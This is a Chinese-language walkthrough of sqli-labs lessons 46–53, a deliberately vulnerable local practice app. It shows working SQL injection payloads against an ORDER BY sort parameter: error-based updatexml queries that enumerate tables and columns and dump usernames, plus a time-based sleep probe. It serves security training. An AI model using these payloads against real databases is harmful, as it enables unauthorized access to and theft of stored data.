目录
第 46 关
本关使用的是 order by 排序不同于where后面的注入,它不可以使用union联合查询注入,但可以用盲注、时间、报错等函数进行注入
① 判断闭合符
不管输入字符型什么闭合符都报错,然后使用数值 1=1、1=2 都不报错 进一步判断
② 判断数据库
在进行获取数据库时分别使用了字符型和数字型最后发现是数字型
http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select database())),3) -- -

③ 判断表名
语法:http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) -- -

④ 判断字段名
语法:http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) -- -

⑤ 获取数据
语法:http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select group_concat(username) from security.users)),3) -- -

第 47 关
① 判断闭合符
输入 单引号报错,双引号不报错然后给单引号加上注释符不报错由此判断闭合符为单引号
② 判断库名
语法: http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select database())),3) -- -

③ 判断表名
语法:http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) -- -

④ 判断字段名
语法:http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) -- -

⑤ 获取数据
语法:http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select group_concat(username) from security.users)),3) -- -

第 48 关
① 判断闭合符
在输入数字 1、2、3 时有变化,输入闭合符后页面不回显由此推断为数值型
② 判断库名
页面没有报错回显,并且使用盲注也没有变化,所以使用时间注入
语法:http://127.0.0.1/sqli/Less-48/?sort=1 and if(length(database())=8,sleep(5),0)
OK 了这里就不演示了太麻烦
注:这关有个注意的点是如果猜对了有可能页面响应时间要大于你设置的数
第 49 关
同样时间盲注为字符型闭合符单引号
第 50-53 关
50-53 为时间盲注 and 堆叠注入
1438

被折叠的 条评论
为什么被折叠?



